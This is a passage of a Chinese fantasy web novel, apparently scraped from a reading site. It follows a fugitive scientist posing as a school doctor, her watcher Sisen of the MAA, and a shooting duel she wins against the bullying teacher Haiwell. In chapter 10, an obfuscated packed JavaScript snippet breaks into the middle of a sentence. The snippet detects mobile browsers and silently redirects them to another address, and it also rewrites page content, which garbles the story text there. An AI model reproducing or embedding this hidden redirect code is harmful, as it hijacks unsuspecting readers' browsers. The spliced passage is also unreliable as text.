“席森，这里很像我以前住过的地方。喧闹的街道，友善的邻居，热情的店主，贫穷但温暖的家庭……”安戈的声音带着一丝怀旧，“如果死在这里，也算是一种回归。” “你是说进入集团前？”席森的语气平静，似乎在试图理解安戈的心境。 安戈的目光望向窗外，眼中闪烁着复杂的光芒：“是的。那时候，如果谁家里能出现一个能力者，就能改变命运。但现实是残酷的，我没能成功，父母远渡海外，为了寻求一个传言中的觉醒可能。” “世界本就如此。”席森的声音中透露出一种淡然，“可你现在已经不是当初那个孩子了。” “如今我已经是能力者，只可惜来得太迟。”安戈深吸一口气，“更重要的是，我的技术成为了太多人渴望的目标。” “那么你呢，席森。”安戈忽然直视席森的眼睛，语言坚定而直接，“你想要什么？或者说，你背后的组织想要什么？也是这份技术吗。” 席森轻笑，反问道：“现在或许应该是我问你，你有什么条件，能让我放过你。别忘了，是你在我的掌控中。” 安戈没有直接回答，而是继续追问：“你身后的人是教会？那些想要置我于死地的主教们？” 席森的眉头微微一挑，表情不屑：“我看起来像是老古董吗？” 教会对于这种改变人类能力的科学研发，向来持反对态度，他们曾经多次公开表示桑格莉亚是现世女巫，必须烧死，说非凡能力改造是亵渎神明，迟早会讲下神罚。 “那是异教徒？”安戈细细打量席森的表情，又问道，“他们对开发人造非凡能力很感兴趣。” “我看起来像是疯子吗？”席森的声音暗含警告。 安戈用眼神回应——他确实很像。席森的个性，和异教徒的疯狂隐隐有种相似，如果他加入了异教组织，安戈也只觉得太正常不过了。 既然席森没有把她送回因特里赫德集团，那显然是对自己别有图谋，只是安戈不清楚，他的目的究竟是什么。 “既然你不是教会，也不是异教徒，那你究竟代表谁？” “你的确很聪明，如果你死了，恐怕很多人都要失望了。”席森看着天空中高悬的满月，仰头喝了口咖啡，“我们是一个独立组织，神秘事物管理局，又叫MAA，我们 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席森靠近一步，他的气息几乎可以触及安戈：“我们只是想要纠正错误，摧毁这个罪恶的集团，而你的技术是必不可少的。你的父母已经成为了他们的牺牲品，你不想复仇吗？” 安戈的眼中闪过一丝挣扎：“可是因特里赫德的势力……你不是不知道，这真的能成功吗？” 席森的嘴角勾起一抹微笑，自信张扬：“加入我们，这一切终将变成现实。” 安戈沉默了，她的内心在剧烈地斗争。席森的话语如同一把双刃剑，既给了她希望，也让她感到了深深的恐惧。 她不知道席森的话有几分真实，但过去的经历告诉她，这个世界相当复杂，她必须保持警惕。 “我需要时间考虑。”她说。 席森知道，他不能急于求成，于是他回答道：“当然，我可以给你一个月的时间考虑。期间我会在暗中保护你，帮助你留在这个小镇。” 安戈沉默了，她明白，自己在知道席森的秘密之后，对方是必定要监视自己的。他不会允许自己背叛集团的消息流出在外。 席森转身准备离开，安戈却叫住了他：“最后一个问题。杜朗是你杀的吗？” “不是。”没做过多的解释，席森就这样离开了，融进了黑暗的夜色中。 安戈并没有完全相信，因为时间上的确巧合。 林曜昕上午打来视频通话，中午又来她的办公室拖延时间，究竟是为了什么？席森为什么不第一时间找上她，而是要演一出大戏？ 算一算时间，如果他是先去解决了杜朗，再来学校解决自己，那就说得通了。 可是席森又为什么要解决杜朗呢？ 思绪混乱间，安戈叹了口气。 就在这时，光脑屏幕亮起，杜朗的简讯竟然又一次传来。 “MAA是骗子！他们骗了我！我被绑架了！” “不要用那个身份！会被MAA找到！” “不要相信他们！” 什么？杜朗背后的组织就是席森所说的MAA吗？可是现在又发生了什么？他们为什么要绑架杜朗？ 安戈的心又沉了下去——这一切远比她想象得更加复杂。 8. 第8章 太阳镇有且仅有一座教堂。大主教欧文年逾半百，作为智慧之神的忠实信徒，也作为小镇镇长的亲密伙伴，他掌握着实权，时常出访各处，其中也包括这座小镇上唯一的一所非凡能力学校。 欧文的肖像画就挂在教学楼的前厅，他有着一头灰白色的短发，面容瘦削，眼神严肃。可是他牙齿却略微有些突出，使得那两片薄唇都有些遮挡不住，这又让他略带滑稽，但无人敢去嘲笑。 他的肖像挂在这里，是因为他还是学校的名誉校长。 “孟校长，你们这里也太寒酸了，哪家学校像你们这样。”欧文一手捏着鼻子，一手拢起袖袍，十分嫌弃地穿过操场。 操场上的杂草丛生，还有些小黑虫上下翻飞，这让欧文的脸色愈发不好看。 孟校长羞赧道：“主教，您也知道，我们人手和资金都有限，这操场还没来得及打理，还请见谅……” 欧文从怀中拿出光脑，投射出一片薄薄的虚拟屏幕，他随意地在上面书写着：“卫生环境，只能打20分；资金投入，5分吧……” 孟校长脸色一变，拉了拉主教的宽大衣袍，低声道：“主教，您这样写，恐怕我们这学校可就要雪上加霜了啊！” 欧文神色肃穆：“我只是秉公办事，你这里上级检查不合格，每年考试排名又垫底，确实……离取消办学也不远了啊，我可是听到了风声，今年继续这样，你们真的得关门大吉。” 孟校长呆愣一瞬，然后小跑两步跟了上去，“您说的可是真的？” “那还有假，你也应该早就有心理准备才对，这学校早就不行了。”欧文斜睨了他一眼。 “可是这样，学生该怎么办？”孟校长焦急问道。 正说着，两人走进教学楼，孩童的熙攘声传来，这里的学生年龄在十到十六岁之间，分为B、C、D三个班级。他们并不按年龄划分班级，而是按非凡能力的等级，大多数孩子都位于C班和D班，B班只有寥寥两个学生。 “你也知道，非凡能力在成年后的增长速度会变慢，他们如果不能在中学期间达到B级，其实也只是比普通人略强一些……如果关门的话，你们这里的学生，B班的应该可以顺利转入附近的其它学校，那些年龄又大，还身处C班和D班就不好说了，大部分都得失学。” 此话让孟校长的心又沉了沉：“那他们的补助金？” “当然是没了。”欧文理所当然地说道，“教会和政府花费那么多钱，是为了培养有天赋的孩子，他们天赋不够，产出不了相应的价值，当然是不配再拿了。” 如他所言，这所学校里的大部分孩子将失去发展非凡能力的机会，并且再次陷入贫困。 思及此处，孟校长果断从西装裤口袋里拿出了一个信封，拉住欧文大主教的衣袖：“按照以往的规矩，小小礼物，不成敬意。” 欧文的嘴巴咧开，露出了他今天的第一个笑容，收下信封：“我也知道你不容易，这样，我可以给你考核通过，但是这几年消亡的乡镇学校不少，这是大势所趋，你也该在考核成绩这方面下下功夫，或者在其它奖项上努把力。” “那……请您给点提示？”孟校长小心翼翼问道。 “据我所知，下半月伊比利奈岛上有个非凡能力竞赛，这个比赛是全国性的，以往你们都不参加这种活动……如果能拿个奖，即便是小奖，通过海选，也能在淘汰时加点分呐。” 孟校长心中一动，他知道这可能是学校的一线生机。 两人一前一后地走着，孟校长思考着该如何筹集资金参加竞赛，毕竟师生的来往车马费、伙食费和住宿费都是一笔不小的开销。 就在此时，一阵欢呼声从校门口处传来，打断了他的思绪。 只见一个学生飞奔而过，双手作喇叭状：“校医来上班啦！” 学生们哗啦一下纷纷散开，用一种庄严而又肃穆的眼神注视着校医安戈。她背着单肩包，目不斜视地走向教学楼的方向。 欧文推了推脸上的无框眼镜：“这是……” “是我们学校新招到的校医。”孟校长回答。 学生们的议论声此起彼伏，充满疑惑和担忧。 “我还以为校医已经逃跑了，再也不来我们学校了。” “昨天她没有按约定去比试，今天居然还能神色淡定地来上班。” “她不是逃跑了吗，还来干什么？这下海威尔更不会放过她了，我真替她担心！” 身旁议论纷纷，所有人都以为安戈是怕了海威尔，所以昨天下午提前离开了学校，放了全校鸽子。不过安戈倒是并不在乎这些流言蜚语。 欧文和孟校长停驻在走廊的尽头，看见这位样貌平凡的医生从背包中拿出钥匙，打开了保健室的门。 下一秒，一股恶臭从办公室内飘出，所有人都看见，办公桌上、地面上全是散落的纸张，书本被人撕成碎片，墙面上都是泼洒的饮料水渍，甚至文件柜和抽屉都大大剌剌地敞开，里面塞着某些动物的尸体。 “好臭！”唐玉跟在安戈身后，立刻捂住了口鼻。 学生们都围在了保健室门口，发出一阵阵尖叫。 安戈，严谨高冷的天才研究员，常年扎在精英堆里，还是头一回遇到这种市井无赖，只觉脑门上的青筋都要爆出。 昨天在席森那儿受挫也就罢了，海威尔也敢跳到她头上来。 如果说本来安戈只是不满海威尔的嚣张跋扈，现在是真的动了杀心。 “你竟然还有胆子出现在我的面前。”海威尔拨开学生人群，依旧满身酒气，周围无人愿意和被他碰到，都嫌恶地躲开。只有两位个子略高的学生跟在他的身后。 唐玉的手紧张地捏了捏，她凑到安戈耳边提醒道：“这是B班的人，海威尔只看得起他们两个学生。” 此刻，海威尔已经站在了安戈的身后，他身材高大，从上而下地睥睨她，脸色阴沉：“既然做了逃兵，我也不为难你，只要你给我下跪道歉，并且永 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“刚才是刚才！刚才我没看到这副模样！”欧文的不悦显而易见。 孟校长气的后槽牙都要咬碎了，他怎么能不知道欧文的意思，这恐怕又要一笔巨款，才能将这件事情压下，因此恨恨地瞪向海威尔：“海威尔老师，打赌比试的事先暂且不提，你把保健室弄成这样，学校考核出了问题，你是不是也应该承担责任？” 海威尔冷嗤一声，显然对此不屑，他大大咧咧地双手环抱于胸前：“校长，这可不关我的事，都是因为你雇佣普通人进入学校，跟我们非凡能力者共事，才会让学校越来越差。反正我马上也要去守野市的好学校了，不妨告诉你，这两个B级能力的学生也会跟我一起走，但是临走之前，我还要看到她……跟我低头请罪。” 随后他又转向主教欧文：“主教大人，只有神明眷顾的人才能获得能力，而这种普通人对神明不敬，是不是该受罚呢？” 安戈又成为了全场注视的焦点。 理智的选择是，压下这件事情，减少别人的关注，她的身份才不会暴露。 可是她能忍得下去吗？ 安戈果断转身，眼眸阴沉而又锐利，像只紧盯猎物的鹰：“昨天我有事，没能赴约，不如现在做个了断。既然你已经决定要离开这所学校，那赌注当然不是去留。如果我赢了，你就将这间屋子恢复原样，并且赔偿你的所作所为造成的一切损失。” 海威尔吹了一记响亮的口哨：“有胆量。那要是你输了，就给我磕头赔罪，并且离开太阳镇。” 安戈挥了下手，自顾自走向靶场：“我不可能输。” 谁也没有看见，阳光下，安戈的影子中有人也吹了声口哨：“和有追踪能力的非凡者，比射击……哈哈。” 藏在她影子里的，自然是监视者席森。 而安戈的非凡能力也正是追踪之眼，向目标前进，不死不休。 9. 第9章 艾斯一开始是不待见安戈的。 当艾琳从后巷捡回安戈时，他把艾琳狠狠说了一顿。 可惜，姐姐的血脉压制让他不得不屈服，他就像只充满敌意的小兽一般，暗中观察这个外来者。 他们的父母死于一场疫病，那之后姐姐为了养活两人，没日没夜地打工。多年的贫民窟生活让艾斯明白了什么是弱肉强食。因为没有大人的庇佑，同龄的孩子总是欺负他，每每都是姐姐挺身而出，将那些坏孩子赶跑。因此艾斯暗暗发誓，以后一定要保护好姐姐。 直到有一天，艾斯惊奇地发现，自己能够轻易将衣服上的油渍分离，经过非凡能力检定，他当场就被孟校长收下，成为一名享受补贴的学生。 孟校长说他拥有元素分解的非凡能力，虽然反应微弱，但的确是能力者。 孟校长和姐姐一样，也是个善良的人，他会关心每一个学生，不管对方是否优秀。 每一个进入非凡学校的学生，都要进行潜力检测。他和这里大多数学生一样，只有两星的潜力，和大城市的四星生，甚至满星生相差甚远。说的好听点是能力者，其实也只是稍微强一些的普通人，然而孟校长并不嫌弃他们。 学校的老师一直人手不足，有许多科目的老师都是兼任的。说到底还是因为学校实力差，没有老师愿意任职，所以海威尔这样的人，还能一直留任。 艾斯喜欢姐姐和孟校长，讨厌海威尔。因为他总是一身酒气，不分青红皂白地体罚，用鼻孔看人，他知道海威尔打心底里看不起他们，训练方式也随心所欲，让他们每天都带着一身伤痕，却学不到真正有用的东西。 在安戈出任校医前，他们即便训练受伤也得不到及时的医治，大家都很期盼校医的到来，艾斯也不例外。而这两天，安戈又帮助了他的好朋友林耀昕。 艾斯也开始想，也许她真的是个好人。 海威尔兼任着学校的体术课和射击课的教学。猎灵枪射击是非凡学校的必修课，因为非凡者有着加速修复的能力，普通子弹很难对他们造成伤害。再加上非凡能力多种多样，有人擅长近身搏斗，缺乏远距离攻击方式；而有些人的能力和战斗毫无关系，熟练使用猎灵枪可以弥补这部分不足，是有效防身手段。 此刻，看着海威尔和安戈已经进入了靶场，做着热身，艾斯的鼻尖沁满了汗珠，他心中情绪复杂，有一些话堵在喉头，想要喷薄而出。 一旁的唐玉拉了拉艾斯的衣角：“喂，安医生有没有跟你透过底啊？她到底行不行啊？” 他当然不知道。 他没有回答，紧张得眼睛一刻也不敢离开赛场，忽而大喊道：“加油！！安戈！！” 这句话湮灭在喧哗鼎沸的人声中，但艾斯觉得她一定听到了。 他非常希望安戈能赢，即便没有抱着什么希望，但他仍然期盼奇迹能够发生。 他不愿意让海威尔耀武扬威，带着学校唯二的B级学生离开，这是一场羞辱。 在场的学生们也都因为海威尔的行为群情激愤，他们和艾斯想的一样，渴求奇迹降临，他们太需要一场胜利了。 渴望最强烈的还是孟校长，最绝望的也是他。 海威尔的所作所为不仅让学校的考核岌岌可危，而且还要带走两个最优秀的学生，这简直是晴天霹雳。可作为校长，他也是最清楚地知道，安戈和他的对决如同螳臂当车，根本不可能赢。 “安医生，你小心，如果遇到不对，及时呼救。”孟校长表情严肃地叮嘱她，不放心道，“我们都在场外盯着，不会让海威尔乱来的。” 安戈看了一眼还在喝酒，志得意满的海威尔，向孟校长点了点头，又示意欧文主教，自己已经准备好了。 欧文清了清嗓子，他的声音在靶场回荡：“此次对决，我们采用三局两胜的形式进行，第一局打固定靶，环数高者获胜；第二局打移动靶，前两局都是定点打靶；第三局为狩猎战，有限时间内可以相互干扰和抢夺靶子，看谁得分高。” 他的视线落在了医生和酒鬼身上：“那么现在，第一局……开始！” 一声令下，海威尔睥睨着安戈，庞大的身躯极具压迫感，他故意用沾满汗珠的结实臂膀，从安戈身侧撞过去，安戈没来得及躲闪，一个踉跄向侧方退了一步。 她的眉头微蹙，嫌恶地用湿巾擦拭着海威尔触碰过的地方。 “他还在挑衅你。”席森的声音从安戈的影子内传来，没有温度，“大科学家，需要我帮你教训他吗？” 安戈呼出一口气，背对观众，用只有他们两个能听到的声音说道：“他狂不了多久了。” 海威尔慢吞吞地将酒壶放在自己的脚边，单臂平举猎灵枪，唇角微勾，开始在自己的弹道□□击了。 十声枪响过后，裁判老师观看显示器，报出了得分：“九环，九环，六环，八环……” 而另一边，安戈轻轻揉按了几下自己的手腕和脖颈，也举起枪来，她的动作熟练标准，并不像完全没碰过猎灵枪的人。 数十双眼睛都盯着她的举动。 安戈没有犹豫，连开十枪，中间几乎没有间隙。 “九环，九环，六环，八环……”裁判老师又一次报出了结果。 可是说着说着，他好像突然开始怀疑自己看到的结果，于是摘下眼镜，揉了揉眼睛，又确认了一遍，才再次开口道：“双方平局！” 所有人皆是一愣，原因无他，安戈打出来的结果和海威尔一模一样，没有分毫不同！ “这是巧合吧……”有人在窃窃私语。 “是不是有人偷偷使用了非凡能力啊，否则怎么会打出完全一样的结果。”还有人嘀咕道，“可能是怕安医生输的太难看？” 众说纷纭中，连海威尔都向安戈投去了狐疑的目光，而安戈的脸上没有丝毫波澜，平静无波地擦拭着手中的猎灵枪。 倒是影子里的席森乐了：“你还是这么恶趣味，明明能很快获胜，偏偏要拖到最后，才比对方多那么一两环，总让人以为有能赢的空间。” 当年，安戈就是用此招，让席森总以为自己还有翻盘的机会。< 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小插曲过后，安戈的注意力重新回到比试上。她面前的靶子开始上下左右地移动了起来，于是安戈冷静出手，成绩优异，不过她也注意小心，让自己的打靶结果不要那么完美，以免显假。 就在安戈打完最后一枪时，全场爆发出了一阵雷鸣般的笑声，安戈疑惑地望向旁边——海威尔屁股朝天，正面摔倒，头上肿起了老大的包，如同山丘。 “哈哈哈哈，海威尔怎么了？自己绊自己？”唐玉本就是个大嗓门，又放声大笑了起来，声音穿透力极强，甚至传到了赛场内，安戈能听得一清二楚。 “喝多了吧他，原地都能摔倒！”另一个学生拍着大腿，笑得前仰后合。 “噗哈哈哈……”就连刚才一直紧张观赛的艾斯也笑出了声，他大声冲安戈道，“安医生加油！乘胜追击！你太棒了！” 海威尔捂住头上的伤口，忽而和安戈对上了视线：“是不是你！是不是你搞的鬼？” “安医生离你那么远，怎么搞鬼？”旁观的学生双手做成喇叭状，向他喊去，“是你自己被石子绊倒了！” “海威尔老师，快爬起来继续比赛吧，安医生的成绩可是相当漂亮！” 安戈冷漠道：“这么多双眼睛盯着，我能做什么。” 海威尔瞅了一眼安戈的计分板，霎时间面色铁青，心神不宁地打完了剩下的几枪，但是很明显，他的表现大不如前，被安戈远远甩在后面。 结束时，学生们的口哨声、嘘声、喝倒彩声此起彼伏。 “海威尔出了个洋相，连枪都拿不稳了！” “虽然海威尔发挥差了点，但是安医生发挥越来越好了呀！”还有学生兴奋地评论。 此时此刻，孟校长悬着的一口气也渐渐抒了出来，他眼眶含泪，感动地看着依旧面无表情的安戈，心中仍然在为第三局担心。 原因无他，不管安戈有多擅长射击，第三局狩猎战，在有限时间内比试的双方可以相互干扰，海威尔是力量增强的非凡能力者，如果他近身安戈，抢夺走她的猎灵枪，安戈就面临着失败的风险。 10. 第10章 中场休息的哨声刚刚响起，海威尔便粗鲁地摔下护具，他的呼吸沉重如雷，带着一股狂暴之气冲向安戈。 “你要干什么！”场内的裁判老师蕾妮立刻察觉不对，迅速动身，也向安戈的方向跑去。 蕾妮作为体术老师，她的行动迅捷，直接挡在了安戈面前，张开双臂护住她：“海威尔，公平竞争，你可不要动手。” “你让开。”海威尔声音低沉，步步紧逼，不顾阻拦，一把将蕾妮推开。 蕾妮握紧双拳，试图格挡住海威尔，可是下一秒，鲜血如鲜花般从她的额头绽开，她被海威尔用枪托恶狠狠地砸向了脑袋，当场昏了过去。 安戈反应不及，只能依靠本能伸手接住蕾妮，也被带着摔倒在地。 “让一让！”看台上的艾斯突然扯着嗓子吼道，一个猛冲，从学生中开出一条道来，三步并作两步，翻阅栏杆，进入赛场。 唐玉想要伸手去拦，可是根本拦不住，于是也跟着跑进了赛场。 两人的动作极快，候场的裁判老师一时间没反应过来，就眼睁睁看着他们跑进去。 他们二人很快就来到了安戈和蕾妮的身边。 唐玉和安戈一起扶住受伤的蕾妮，而艾斯则是眼圈通红，一步不肯退让：“来啊，你有种就打死我们！打不死你就给我等着，我还不信没人能治的了你了！” 安戈轻轻拍了拍艾斯的肩膀，安抚他：“别担心，我没事。” 她知道，刚才席森藏在了海威尔身边的影子里，故意将他绊倒，这个恶作剧已经彻底激怒了眼前这位好面子的非凡者。 安戈对上海威尔的视线：“这是想做什么？想杀死我？” 她说的云淡风轻，却带着一股不容小觑的感觉。 海威尔面目狰狞，凶相毕露：“没错，我不知道你究竟耍了什么手段，但我绝不允许你这样的人还能活下去。” “你能杀我一个，还能杀掉所有人吗？”她瞟了眼看台，言下之意是海威尔已经丢脸丢到家了，杀了她也无济于事。 海威尔的表情更加扭曲了：“你最好祈祷自己运气好些，活着走出这个赛场。” 此时，海威尔身侧也出现了两个身影——正是要跟他一起走的两个B级学生。他们气喘吁吁跑来，主动站在了海威尔两侧，摆出了攻击的架势。 “你们两个！”唐玉愤恨地看着他们，“孟校长对你们那么好！为什么要背叛！” “你们这些废物也配和我在一个学校？看看清楚我们之间的差距吧！”B级学生中的一人冷笑道。 “你！”艾斯和唐玉脸涨得通红，却说不出反驳的话来。 “不服气就来打一场啊，废物。”另一人面露嘲讽，挑衅一位十足。 非凡能力的世界里，强者为尊是不变的铁律，他们面对着两位B级的同龄人，艾斯和唐玉感到了前所未有的压力，这是和面对海威尔时不同的，更加没有底气的感觉。 安戈对这一切心知肚明，但她对这一铁律却是不屑。因为这小小的差距，在她面前没什么分别，她完全可以提升艾斯他们的能力，和这两位B级学生一较高下。 然而，此刻更吸引她注意的是对面学生手上所佩戴的护腕。那两人手腕处的白色运动护腕下，隐约闪烁着荧光的图案，这图案经由护腕遮挡，寻常人难以察觉。 可是安戈有着“追踪之眼”，这个能力也让她的视力易于常人，一眼就捕捉到了这细微的异常。 曼陀罗图案，周围还环绕着一圈眼睛，这是——异教徒的标志？ 安戈心中一惊。这两个学生应当是刚刚加入异教会不久，被打上的烙印还在消散中，等时间一长，只有特制化学材料才能让他们的教会图案显现出来。 那么海威尔也很有可能异教会的成员！ 海威尔和他们两个能够联络上守野市顶尖学校，很有可能是攀附了某些关系，不然哪有这么容易。或许他们加入的异教会就是以此为诱饵，吸纳成员。 安戈和异教会没有太多接触，只知道里面大多数都是搞邪恶祭祀的疯子，很多轰动世界的重大意外事故都是由他们策划，目的是为了祭奠给他们所信仰的神明。 曾经，她以为自己父母的海难和异教徒有关。现在，她虽然知道了这是因特里赫德集团自导自演的闹剧，但对异教会仍旧没有好感，只是被他们这些人盯上总归不好，艾斯和唐玉还是别出头的好。 思及此，安戈拉住了二人，摇头示意：“别冲动。” “你也认为我们不如他们吗？”艾斯红着眼眶，语气中含有不甘。 安戈的手一顿，霎时间用力，把艾斯拉拽到身后，望向看台上的欧文主教：“不用中场休息了，开始吧。” 刚刚赶入赛场的裁判老师们面面相觑，场外的欧文原本正看着好戏，迟疑片刻就说道：“好吧，既然双方求战之心都很激烈，第三轮比赛正式开始。” 受伤的蕾妮、四名学生被裁判老师们送出了场外。 而安戈冷笑了一声，用只有影子暗卫能听到的声音说道：“席森，不如我们试试看，合作一场如何。” 席森等待已久，他玩味笑道：“你可别手下留情。” 哨声还未吹响，海威尔已经如同火山爆发，他将枪口都对准了安戈。 安戈也毫不示弱，同样枪口直指海威尔，两人的视线在空气中撞出了无形的火花。 哨声过后，两声枪响几乎同时撕破了宁静。 随即海威尔腰间的酒壶应声炸裂，酒水四溅，泼了海威尔一身，四散的酒壶碎片还划破了他脸颊一侧的皮肤，鲜血涌出，却因为非凡能力者的恢复能力，又逐渐止住。 而另一侧，海威尔射出的子弹仅仅击中了安戈脚边的跑道，留下一道痕迹。 海威尔怒吼着，如猛兽般冲向安戈。 安戈不慌不忙，再次扣动扳机。 第一下，海威尔额头上佩戴的脏乱流苏散落大半，第二下，海威尔的左脸脸颊被子弹擦出一道血口。 而就在海威尔即将要触及安戈之时，他突然身体一歪，仿佛被什么东西拽了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190390|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，宽松的褐色棉布裤“哗啦”一声滑落，露出了尴尬的贴身衣物。海威尔猝不及防摔倒，面部朝下，手中的猎灵枪也飞了出去，落到了安戈脚下。 安戈轻笑，语气中带着讥讽:“噗嗤，海威尔老师真是喝醉了。” 虽然席森恶趣味了一点，但对付海威尔这种人，让他当众穿着内裤摔倒，恐怕比杀了他还难受。 在众人震惊的目光中，安戈弯腰捡起海威尔的枪，左右手各持一把，熟练地转动，然后双枪指向地上衣衫不整，狼狈不堪的海威尔。 海威尔缓缓抬头，迎接他的是连续的枪声，地上硝烟一片。 全场沉寂。 等到硝烟散去，人们才看见，海威尔还以原先的姿势趴在原地，尚且挂着的衣衫破破烂烂。他双手抱头，在地上瑟瑟发抖，发出极度恐惧的惨叫，响彻整个赛场。 “别装了。”安戈轻蔑开口。 紧接着，她又侧开身子，示意大家看清楚地上的弹孔，描摹出了海威尔趴在地上地轮廓，每一枪全部是从海威尔衣服与皮肤的缝隙处穿过，仅仅形成擦伤，打在了地上。 这是真正的人体描边大师。 可是海威尔的颤抖根本无法止住，他的恐惧在这一刻达到了顶点。 安戈右手的猎灵枪抵住了他的后脑勺，左手瞄准场上的靶子，一枪射出，精准命中。 “时间到。”安戈开口，声音在寂静的赛场上回想。 裁判老师的口哨在手中颤抖，最终震惊地吹响：“时间到！安戈1分，海威尔0分，安戈获胜！” 全场爆发出激烈的掌声，看台如同沸腾了一般，久久不能平静。 安戈忽然抬起手臂，示意安静，她的声音在此刻成为了全场的焦点。 安戈笑道：“我们的赌注是所有人都见证到的，海威尔老师要收拾好保健室……这也是为什么你现在还能完好无损的原因。” 人们发出了快活的笑声。 海威尔瘫坐在地上，眼神涣散。 安戈对他的反应毫不意外，他这种水平能力者，因为实力不够顶尖，不用执行危险任务直面强敌；却能在普通人面前耀武扬威，恃强凌弱，早已经习惯作威作福。 他从未真正面对过死亡。 “多谢。”安戈向影子中的人低声道谢。 虽然她也没想到，席森竟然这么恶趣味，让海威尔在大庭广众如此尴尬。 “只是看不爽他罢了。”席森的声音像是恶作剧得逞的小孩。 安戈眯起眼，望向海威尔裸露在外的皮肤——她这番操作也不全是为了让海威尔出丑，那两个学生身上有异教徒的印记，而海威尔却没有。 这或许说明海威尔早就加入了异教。 按当前形势，安戈知道，异教会也一定在寻找自己。 他们不断寻找新的神明信仰，就是为了能获得不同的非凡能力，以前有因特里赫德集团的保护，他们没有机会得到自己，现如今…… 如果有机会，还是得不着痕迹地除掉他，以绝后患。 11. 第11章 查理斯面上愁云密布，明明是秋天，他的脸上却全是虚汗，黑色圆框眼镜不停地下滑。 “还没有桑格莉亚的消息吗？这都过去三个月了！” “她带走了易颜面具，找起来肯定困难。”莫离的声音沉稳，“周边大城市我们基本已经查过一遍，只剩下贫民窟和乡村小镇。这些地方黑户多，难度大，不过我们会加紧人手，从明天开始让安保局入户排查。” 查理斯扶了扶眼镜：“这些也只是……” “其他只能靠赏金猎人了。”莫离给出了方案，“总之，和守野接壤的城市会在一个月内完成搜索，之后再扩大范围，全国搜捕。” 听到莫离这样说，查理斯好像松了一口气，长吁一声：“还好你回来了。要是你在，桑格莉亚都出不了公司大门。那个席森……果然办事不牢。只不过，我听说教会和异教都已经行动了，我们的压力还是很大。” “你是在说我吗？” 夜色如水，黑色的暗影凝聚成实体，从月光照射的窗框上浮现。 席森来到查理斯面前，高大的身影遮蔽住白炽灯光。 查理斯脸色一变。 莫离微微一笑：“怎么有空回来。” “路上听说异教会的动静很大，扩张得快，更重要的是……他们不再是一盘散沙了。”席森微微侧身，半转向莫离，“他们渗入了守野市。” “这不用你操心，交给我就行了。” “当然。这一向是你负责的。”席森点头。 查理斯有些坐如针毡，他求救似的看向莫离。 莫离问：“查得怎么样？” “守野市西侧的城市都搜索了，没发现桑格莉亚。” 太阳镇就位于西南方向。 “安保局会继续入户的，第二轮排查。”莫离颔首道，“辛苦你先去其它地方了。” “你有线索吗？”席森又看向查理斯。 查理斯头摇得像拨浪鼓一样：“我没收到任何信息。你知道的，和杜朗一起的那群人嘴巴很紧，我们什么消息也套不出来。” “我放心，你办事牢靠。” 查理斯抹了一把额头上的汗：“我嘴贱，放过我吧。” “她应该有了新身份。”莫离忽然说。 “你怎么知道？”席森迅速看向他。 莫离微微一笑：“不然她躲不了这么久。” 他说的也是实话，席森也不打算继续问下去了：“异教会也许是个变数。他们不知道为什么，现在拧成了一股绳，好像有人统一了这些零散信徒。如果他们碰到了桑格莉亚，恐怕是不会放过她。” “我听说了！叫‘幻影神’！他现在有很多信徒。”查理斯脱口而出。 “那你的意思是？”莫离又问。 “我觉得还是该查查。”席森有一次认真说。 “这事你不用管。”莫离语气温和，态度强硬，“司令自有安排。” 在场的三人中，查理斯管理着研究所，莫离和席森同属于行动部，但是莫离的资历更老，平时又直接和老板对接，席森也不好再说什么。 与此同时，安戈意识到，席森离开了。 “席森？”她开口，没人回应她。 这段时间席森跟她形影不离，在她的影子中监视，这是头一次离开。 这是一个机会！ 安戈果断从铁架床上起身，发出吱嘎声，上铺堆满的纸箱也随之晃动。她睡在杂物间，这是由艾琳专门收拾出来，给安戈使用的。 她打开房门。家里安静异常，灯也全关着，整栋房子和夜色融为一体。 此刻艾斯应该在自己的房间内，没发出任何声响，艾琳今晚则需要在便利店打工，还没下班。 也就是说，如果她现在离开，暂时不会被任何人发现。 安戈先进入了洗手间。 由于席森的监视，安戈只能在洗手间偷偷打开光脑，和杜朗交流。 “你还没使用身份卡吧？”杜朗在光脑那头反复确认着。 “没有。” 当初为了保险，安戈请求杜朗为她置办了一张空白电子身份卡，这张身份卡有着合法的ID序列号，能在国家身份系统里查到，但其它信息都暂且是一片空白，可以自行补写详情，安戈拿到后一直都没有使用过。 “还好没有……听好了，安戈，我只有五分钟时间使用光脑，一会儿他们就回来了。”杜朗似乎很着急，“如果你使用了身份卡，神秘事务管理局的人就能定位到你，也就是MAA，我这两天听他们说，MAA非常想得到你……而且教会和安保局开始入户搜查了，到时候肯定会查询身份信息，你得想别的办法逃过去。” 神秘事物管理局……席森也是这个组织的，可是他昨天就找上门了。怎么MAA还不知道自己的位置？ 安戈想，难道说……席森还没有把自己的信息上报给MAA，这其中有个信息差。可是如果她使用了身份ID，MAA或许就能直接定位她，不必通过席森。 安戈脑中一团乱麻，但她隐约感觉到了危险。 她不敢直接告诉杜朗，席森也是MAA的人，并且找到了自己；也不敢告诉席森，自己和杜朗还有联系。 因为这两个人都和MAA关系匪浅，却立场截然相反。 她直觉，无论怎么做，都可能引爆炸弹。 安戈的眼睛透过洗手间的磨毛玻璃小窗望向外面，家里没有任何变化，好像时间静止，有什么未知的恐怖正在缓缓靠近。 她低下头，缓缓打出：“神秘事务管理局为什么绑架你？他们不是帮你逃脱集团的吗？” 安戈等待着杜朗的回复，可是这次停顿的时间有些久，直到安戈盯着屏幕的眼睛都有些出神了，消息才传来。 “为了我的非凡能力，桑格莉亚，我的能力是‘抢夺’。” 安戈的手略有停顿。 杜朗一直是集团普通成员，负责实验器材的采购，从未听说过他是非凡能力者。 她还想继续问，可是杜朗这次却像是下定决心了一般，飞快回复她：“我可以抢夺别人的能力，让对方的能力失效，变成我的。” 看到这句话，安戈整个人像是被什么击中，汗毛直竖！ “我从来没有听说过有和我类似的能力，而且……你是做非凡能力开发研究的，应当知道这意味着什么，所以我从来不敢向外界提起。” 